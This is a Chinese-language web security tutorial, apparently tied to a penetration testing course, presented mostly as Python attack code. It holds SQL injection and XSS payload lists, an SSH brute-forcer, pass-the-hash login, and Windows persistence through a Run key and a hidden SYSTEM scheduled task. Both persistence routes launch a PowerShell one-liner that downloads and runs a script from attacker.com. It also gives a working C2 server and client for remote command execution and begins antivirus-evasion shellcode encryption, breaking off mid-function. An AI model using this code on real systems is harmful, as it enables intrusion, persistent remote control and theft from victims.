[Web安全] 2024最新小迪渗透(带文档)

61 阅读5分钟

全栈网络安全实战:从渗透测试到高级红蓝对抗

本文将全面介绍现代网络安全攻防技术体系,涵盖渗透测试全流程、红蓝对抗实战技巧以及防御体系构建,通过大量可落地的代码示例帮助读者建立完整的网络安全攻防知识框架。

一、渗透测试基础与信息收集

1. 网络侦察与信息收集

import socket
import dns.resolver
import requests
from bs4 import BeautifulSoup

class Reconnaissance:
    def __init__(self, target):
        self.target = target
    
    def dns_lookup(self):
        """DNS信息收集"""
        records = ['A', 'MX', 'NS', 'TXT', 'CNAME']
        results = {}
        for record in records:
            try:
                answers = dns.resolver.resolve(self.target, record)
                results[record] = [str(r) for r in answers]
            except Exception as e:
                pass
        return results
    
    def port_scan(self, ports=[21, 22, 80, 443, 3306, 3389]):
        """基础端口扫描"""
        open_ports = []
        for port in ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            result = sock.connect_ex((self.target, port))
            if result == 0:
                open_ports.append(port)
            sock.close()
        return open_ports
    
    def web_crawl(self):
        """网站基础信息收集"""
        headers = {'User-Agent': 'Mozilla/5.0'}
        try:
            response = requests.get(f"http://{self.target}", headers=headers, timeout=5)
            soup = BeautifulSoup(response.text, 'html.parser')
            
            info = {
                'server': response.headers.get('Server', ''),
                'technologies': self._detect_tech(response),
                'links': [a.get('href') for a in soup.find_all('a', href=True)],
                'forms': len(soup.find_all('form'))
            }
            return info
        except Exception as e:
            return str(e)
    
    def _detect_tech(self, response):
        """检测网站技术栈"""
        tech = []
        headers = response.headers
        if 'X-Powered-By' in headers:
            tech.append(headers['X-Powered-By'])
        if 'ASP.NET' in headers.get('Set-Cookie', ''):
            tech.append('ASP.NET')
        return tech

# 使用示例
recon = Reconnaissance('example.com')
print(f"DNS记录: {recon.dns_lookup()}")
print(f"开放端口: {recon.port_scan()}")
print(f"网站信息: {recon.web_crawl()}")

2. 自动化扫描工具开发

import nmap
import json

class VulnerabilityScanner:
    def __init__(self):
        self.nm = nmap.PortScanner()
    
    def full_scan(self, target):
        """完整漏洞扫描"""
        print(f"开始扫描 {target}...")
        self.nm.scan(hosts=target, arguments='-sV -T4 -A -O')
        
        results = {
            'host': target,
            'status': self.nm[target].state(),
            'protocols': {}
        }
        
        for proto in self.nm[target].all_protocols():
            results['protocols'][proto] = {}
            for port in self.nm[target][proto].keys():
                results['protocols'][proto][port] = {
                    'state': self.nm[target][proto][port]['state'],
                    'service': self.nm[target][proto][port]['name'],
                    'version': self.nm[target][proto][port]['version'],
                    'cpe': self.nm[target][proto][port]['cpe']
                }
        
        return results

# 使用示例
scanner = VulnerabilityScanner()
results = scanner.full_scan('192.168.1.1')
print(json.dumps(results, indent=2))

二、Web应用渗透测试

1. SQL注入检测与利用

import requests
from urllib.parse import urljoin

class SQLiTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': 'Mozilla/5.0'})
    
    def test_get_param(self, param, values):
        """测试GET参数SQL注入"""
        vulnerable = False
        payloads = [
            "'", 
            "\"", 
            "' OR '1'='1", 
            "\" OR \"1\"=\"1",
            "' OR 1=1--",
            "1 AND 1=1",
            "1 AND 1=2"
        ]
        
        for payload in payloads:
            url = f"{self.base_url}?{param}={payload}"
            response = self.session.get(url)
            
            # 检测错误信息
            error_keywords = ['SQL syntax', 'MySQL server', 'ORA-00933']
            if any(keyword in response.text for keyword in error_keywords):
                print(f"[!] 发现SQL注入漏洞: {url}")
                vulnerable = True
                break
        
        return vulnerable
    
    def blind_sqli(self, param, true_condition, false_condition):
        """基于布尔盲注的检测"""
        payloads = {
            'true': f"{param}=1 AND 1=1",
            'false': f"{param}=1 AND 1=2"
        }
        
        true_response = self.session.get(urljoin(self.base_url, f"?{payloads['true']}"))
        false_response = self.session.get(urljoin(self.base_url, f"?{payloads['false']}"))
        
        if true_condition(true_response) and not false_condition(false_response):
            print(f"[!] 发现基于布尔的盲注漏洞: {param}")
            return True
        return False

# 使用示例
tester = SQLiTester('http://testphp.vulnweb.com/listproducts.php')
tester.test_get_param('cat', [])

2. XSS漏洞检测

class XSSTester:
    def __init__(self, base_url):
        self.base_url = base_url
        self.payloads = [
            '<script>alert(1)</script>',
            '<img src=x onerror=alert(1)>',
            '\'"><svg/onload=alert(1)>',
            'javascript:alert(1)'
        ]
    
    def test_reflected(self, param):
        """测试反射型XSS"""
        for payload in self.payloads:
            url = f"{self.base_url}?{param}={payload}"
            response = requests.get(url)
            if payload in response.text:
                print(f"[!] 发现反射型XSS: {url}")
                return True
        return False
    
    def test_stored(self, form_data):
        """测试存储型XSS"""
        for payload in self.payloads:
            data = {}
            for k, v in form_data.items():
                data[k] = v.replace('XSS_PAYLOAD', payload)
            
            # 提交表单
            response = requests.post(self.base_url, data=data)
            
            # 检查返回页面
            check_response = requests.get(self.base_url)
            if payload in check_response.text:
                print(f"[!] 发现存储型XSS: {payload}")
                return True
        return False

# 使用示例
xss_tester = XSSTester('http://testphp.vulnweb.com/search.php')
xss_tester.test_reflected('searchFor')

三、内网渗透技术

1. 横向移动技术实现

import paramiko
import smbclient
from getpass import getpass

class LateralMovement:
    def __init__(self):
        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    def ssh_bruteforce(self, host, username, wordlist):
        """SSH暴力破解"""
        with open(wordlist, 'r') as f:
            passwords = f.read().splitlines()
        
        for password in passwords:
            try:
                self.ssh.connect(host, username=username, password=password, timeout=5)
                print(f"[+] 成功破解: {username}:{password}")
                return password
            except:
                continue
        return None
    
    def smb_exec(self, host, username, password, command):
        """通过SMB执行命令"""
        try:
            smbclient.ClientConfig(username=username, password=password)
            with smbclient.open_file(fr"\\{host}\C$\Windows\Temp\output.txt", mode='w') as f:
                f.write(os.popen(command).read())
            return True
        except Exception as e:
            print(f"[-] SMB执行失败: {e}")
            return False
    
    def pass_the_hash(self, host, username, ntlm_hash):
        """Pass-the-Hash攻击"""
        from impacket.smbconnection import SMBConnection
        
        try:
            conn = SMBConnection(host, host)
            conn.login(username, '', '', ntlm_hash)
            print(f"[+] 成功使用PtH登录: {username}")
            return conn
        except Exception as e:
            print(f"[-] PtH失败: {e}")
            return None

# 使用示例
lm = LateralMovement()
# lm.ssh_bruteforce('192.168.1.10', 'admin', 'passwords.txt')
# lm.smb_exec('192.168.1.10', 'admin', 'password123', 'whoami')

2. 权限维持技术

import os
import winreg
import base64

class Persistence:
    def __init__(self):
        self.payload = "powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\""
    
    def registry_persistence(self):
        """注册表持久化"""
        try:
            key = winreg.OpenKey(
                winreg.HKEY_CURRENT_USER,
                "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                0, winreg.KEY_WRITE
            )
            winreg.SetValueEx(key, "UpdateChecker", 0, winreg.REG_SZ, self.payload)
            winreg.CloseKey(key)
            print("[+] 注册表持久化成功")
            return True
        except Exception as e:
            print(f"[-] 注册表持久化失败: {e}")
            return False
    
    def scheduled_task(self, task_name="WindowsUpdate"):
        """计划任务持久化"""
        try:
            xml = f"""
            <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
              <Triggers>
                <LogonTrigger>
                  <Enabled>true</Enabled>
                </LogonTrigger>
              </Triggers>
              <Principals>
                <Principal id="Author">
                  <UserId>S-1-5-18</UserId>
                  <RunLevel>HighestAvailable</RunLevel>
                </Principal>
              </Principals>
              <Settings>
                <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
                <AllowHardTerminate>false</AllowHardTerminate>
                <StartWhenAvailable>true</StartWhenAvailable>
                <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
                <IdleSettings>
                  <StopOnIdleEnd>false</StopOnIdleEnd>
                  <RestartOnIdle>false</RestartOnIdle>
                </IdleSettings>
                <AllowStartOnDemand>true</AllowStartOnDemand>
                <Enabled>true</Enabled>
                <Hidden>true</Hidden>
                <RunOnlyIfIdle>false</RunOnlyIfIdle>
                <WakeToRun>false</WakeToRun>
                <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
                <Priority>7</Priority>
              </Settings>
              <Actions Context="Author">
                <Exec>
                  <Command>cmd.exe</Command>
                  <Arguments>/c {self.payload}</Arguments>
                </Exec>
              </Actions>
            </Task>
            """
            
            with open("task.xml", "w") as f:
                f.write(xml)
            
            os.system(f'schtasks /Create /TN "{task_name}" /XML task.xml /F')
            print("[+] 计划任务持久化成功")
            return True
        except Exception as e:
            print(f"[-] 计划任务持久化失败: {e}")
            return False

# 使用示例
# p = Persistence()
# p.registry_persistence()
# p.scheduled_task()

四、红蓝对抗实战

1. C2框架开发基础

import socket
import threading
import json
import base64
import os

class C2Server:
    def __init__(self, host='0.0.0.0', port=4444):
        self.host = host
        self.port = port
        self.sessions = {}
        self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    def start(self):
        """启动C2服务器"""
        self.server_socket.bind((self.host, self.port))
        self.server_socket.listen(5)
        print(f"[*] C2服务器监听 {self.host}:{self.port}")
        
        while True:
            client_socket, addr = self.server_socket.accept()
            print(f"[+] 新会话来自 {addr[0]}:{addr[1]}")
            
            session_id = len(self.sessions) + 1
            self.sessions[session_id] = {
                'socket': client_socket,
                'address': addr
            }
            
            client_thread = threading.Thread(
                target=self.handle_client,
                args=(client_socket, session_id)
            )
            client_thread.start()
    
    def handle_client(self, client_socket, session_id):
        """处理客户端会话"""
        while True:
            try:
                raw_data = client_socket.recv(1024)
                if not raw_data:
                    break
                
                data = json.loads(raw_data.decode())
                if data['type'] == 'checkin':
                    print(f"[*] 会话 {session_id} 已上线")
                    self.send_command(session_id, 'whoami')
                
                elif data['type'] == 'response':
                    print(f"\n[+] 会话 {session_id} 响应:")
                    print(data['data'])
                    
                    # 交互式命令输入
                    cmd = input(f"C2 ({session_id})> ").strip()
                    if cmd.lower() == 'exit':
                        client_socket.close()
                        del self.sessions[session_id]
                        break
                    self.send_command(session_id, cmd)
                
            except Exception as e:
                print(f"[-] 会话 {session_id} 错误: {e}")
                break
    
    def send_command(self, session_id, command):
        """发送命令到客户端"""
        if session_id in self.sessions:
            data = {
                'type': 'command',
                'data': command
            }
            self.sessions[session_id]['socket'].send(json.dumps(data).encode())

# 客户端实现
class C2Client:
    def __init__(self, server_host, server_port):
        self.server_host = server_host
        self.server_port = server_port
    
    def connect(self):
        """连接到C2服务器"""
        while True:
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.connect((self.server_host, self.server_port))
                
                # 初始登记
                data = {
                    'type': 'checkin',
                    'data': {
                        'hostname': os.getenv('COMPUTERNAME'),
                        'username': os.getenv('USERNAME')
                    }
                }
                sock.send(json.dumps(data).encode())
                
                while True:
                    raw_data = sock.recv(1024)
                    if not raw_data:
                        break
                    
                    command = json.loads(raw_data.decode())
                    if command['type'] == 'command':
                        # 执行命令并返回结果
                        result = os.popen(command['data']).read()
                        response = {
                            'type': 'response',
                            'data': result
                        }
                        sock.send(json.dumps(response).encode())
                
            except Exception as e:
                print(f"连接错误: {e}")
                time.sleep(60)  # 重连间隔

# 使用示例
# 服务端: server = C2Server(); server.start()
# 客户端: client = C2Client('attacker-ip', 4444); client.connect()

2. 免杀技术实现

import ctypes
import base64
import hashlib
from Crypto.Cipher import AES
import random
import string

class AVBypass:
    def __init__(self):
        self.key = hashlib.sha256(b'secret_key').digest()
    
    def encrypt_shellcode(self, shellcode):
        """加密shellcode"""
        iv = os.urandom(16)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        padded = self._pad(shellcode)
        encrypted = cipher.encrypt(padded)
        return iv + encrypted
    
    def _pad(self, s):
        """PKCS7填充"""
        pad_size = AES.block_size - len(s) % AES.block_size
        return s + bytes([pad_size] * pad_size)
    
    def obfuscate_varnames(self, code):
        """变量名混淆"""
        vars = set(re.findall(r'\b[a-zA-Z_][a-zA-Z0-9_]*\b', code))
        vars = [v for v in vars if not v in ['print', 'import', 'for']]
        
        for v in vars:
            new_name = ''.join(random.choices(string.ascii_letters, k=10))
            code = code.replace(v, new_name)
        return code
    
    def reflective_dll_injection(self, dll